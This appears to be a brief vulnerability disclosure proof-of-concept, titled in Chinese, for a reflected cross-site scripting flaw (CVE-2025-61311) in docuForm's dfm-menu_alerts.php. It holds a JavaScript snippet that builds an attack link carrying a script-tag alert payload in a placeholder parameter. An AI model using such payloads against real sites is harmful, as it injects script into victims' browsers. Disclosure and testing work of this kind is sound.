CVE-2025-61311 docuForm反射型XSS漏洞

/* * PoC for CVE-2025-61311 * Reflected XSS in dfm-menu_alerts.php */ // Target URL var target = "http://target-host/dfm-menu_alerts.php"; // Malicious payload demonstrating script execution // Replace the parameter name with the actual vulnerable variable if known var payload = "<script>alert('CVE-2025-61311 - XSS Executed');</script>"; // Construct the attack URL var attackUrl = target + "?vulnerable_parameter=" + encodeURIComponent(payload); console.log("Attack Link: " + attackUrl); // When a victim clicks the link, the server reflects the payload in the response // without sanitization, triggering the alert box in their browser.